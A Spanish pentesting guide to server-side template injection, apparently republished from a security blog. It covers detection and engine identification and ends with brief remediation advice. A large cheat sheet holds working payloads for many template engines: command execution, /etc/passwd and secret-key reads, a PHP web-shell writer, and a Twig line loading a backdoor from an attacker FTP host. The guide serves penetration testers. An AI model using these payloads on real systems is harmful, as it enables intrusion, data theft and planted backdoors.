• +34 634 489 889
  • info@allciber.com

Archivo de la etiqueta SSTI

Guía de Pentester para la inyección de plantillas del lado del servidor (SSTI)

La inyección de plantillas del lado del servidor es una vulnerabilidad en la que el atacante inyecta entradas maliciosas en una plantilla para ejecutar comandos en el lado del servidor.

¿Qué es SSTI?

La inyección de plantillas del lado del servidor es una vulnerabilidad en la que el atacante inyecta entradas maliciosas en una plantilla para ejecutar comandos en el lado del servidor. Esta vulnerabilidad se produce cuando la entrada de usuario no válida está incrustada en el motor de plantillas, lo que generalmente puede conducir a la ejecución remota de código (RCE).

Los motores de plantillas están diseñados para combinar plantillas con un modelo de datos para producir documentos de resultados que ayudan a rellenar datos dinámicos en páginas web. Los motores de plantillas se pueden utilizar para mostrar información sobre usuarios, productos, etc. Algunos de los motores de plantillas más populares se pueden enumerar de la siguiente manera:

  • PHP – Smarty, Ramitas
  • Java – Velocidad, Freemaker
  • Python – JINJA, Mako, Tornado
  • JavaScript – Jade, Rabia
  • Rubí – Líquido

Cuando la validación de entrada no se maneja correctamente en el lado del servidor, se puede ejecutar una carga útil de inyección de plantilla maliciosa del lado del servidor en el servidor, lo que puede resultar en la ejecución remota de código.

¿Cómo funciona?

En aras de la simplicidad, imagine que está probando el parámetro de la siguiente solicitud:

POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter=value

Para detectar la vulnerabilidad, utilice la carga útil políglota como valor del parámetro, que es una secuencia de caracteres especiales como los siguientes:

POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter=${{<%[%'"}}%\.

Para identificar el motor de plantillas, lea el mensaje de error:

Ejemplo de código de mensaje de error

Si el mensaje de error no muestra el motor de plantillas, podemos probar a través de sintaxis conocidas para los motores de plantillas populares:

=${7*3}
={{7*3}}
=<%= 7*3 %>

Consulte la documentación del manual para el motor de plantillas (que es Django en este caso) y use la siguiente carga útil para leer el resultado de la depuración:

POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter={% debug %}

El resultado contendrá una lista de objetos y propiedades a los que tiene acceso desde esta plantilla:

List of objects and properties

Lea la clave secreta usando el objeto ‘settings’ que está disponible:

POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter={{settings.SECRET_KEY}}

¿Cuál es el impacto de SSTI?

El impacto de las vulnerabilidades de inyección de plantillas del lado del servidor es generalmente crítico, lo que resulta en la ejecución remota de código al tomar el control total del servidor back-end. Incluso sin la ejecución del código, el atacante puede ser capaz de leer datos confidenciales en el servidor. También hay casos raros en los que una vulnerabilidad SSTI no es crítica, dependiendo del motor de plantillas.

¿Cómo identificar la vulnerabilidad?

Para identificar vulnerabilidades de SSTI, utilice una carga útil políglota compuesta de caracteres especiales que se usan comúnmente en las expresiones de plantilla para pelar la plantilla.

${{<%[%'"}}%\.

En caso de una vulnerabilidad, se puede devolver un mensaje de error o el servidor puede plantear la excepción. Esto se puede utilizar para identificar la vulnerabilidad y el motor de plantillas en uso.

Para identificar la vulnerabilidad, se puede seguir la siguiente lista de tareas pendientes:

  • Detectar dónde existe la inyección de plantilla
  • Identificar el motor de plantillas y validar la vulnerabilidad
  • Siga los manuales del motor de plantillas específico
  • Aprovechar la vulnerabilidad

La siguiente hoja de trucos se puede utilizar para identificar el motor de plantillas en uso:Cheat sheet to identify the template engine in use

Herramientas automatizadas

Tplmap ayuda en la explotación de las vulnerabilidades de inyección de código e inyección de plantilla del lado del servidor con varias técnicas de escape de espacio aislado para obtener acceso al sistema operativo subyacente.

La herramienta y su conjunto de pruebas están desarrollados para investigar la clase de vulnerabilidad SSTI y para ser utilizados como herramientas de seguridad ofensivas durante las pruebas de penetración de aplicaciones web.

Para obtener más información, consulte el repositorio de GitHub para la herramienta aquí.

Hoja de trucos

-------------------------------------------------------------------
Polyglot:
${{<%[%'"}}%\
-------------------------------------------------------------------
FreeMarker (Java):
${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
--------------------------------------------------------------------
(Java):
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
--------------------------------------------------------------------
Twig (PHP):
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
--------------------------------------------------------------------
Smarty (PHP):
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
-------------------------------------------------------------------
Handlebars (NodeJS):
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
-------------------------------------------------------------------
Velocity:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
-------------------------------------------------------------------
ERB (Ruby):
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
-------------------------------------------------------------------
Django Tricks (Python):
{% debug %}
{{settings.SECRET_KEY}}
--------------------------------------------------------------------
Tornado (Python):
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
--------------------------------------------------------------------
Mojolicious (Perl):
<%= perl code %>
<% perl code %>
-------------------------------------------------------------------
Flask/Jinja2: Identify:
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
-------------------------------------------------------------------
Flask/Jinja2: 
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
--------------------------------------------------------------------
Jade:
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
--------------------------------------------------------------------
Razor (.Net):
@(1+2)
@{// C# code}
--------------------------------------------------------------------

Remediación

Las correcciones para la vulnerabilidad de SSTI dependen de los diferentes motores de plantillas en uso. Hay 2 sugerencias comunes para remediar esta vulnerabilidad:

  • Desinfección: desinfecte la entrada del usuario antes de pasarla a las plantillas para minimizar las vulnerabilidades de cualquier malicioso.
  • Sandboxing: En caso de que el uso de caracteres riesgosos sea una necesidad empresarial, se recomienda utilizar un sandbox dentro de un entorno seguro.

FUENTE ORIGINAL DEL ARTÍCULO: Guía de Pentester para la inyección de plantillas del lado del servidor (SSTI) | Blog de Cobalto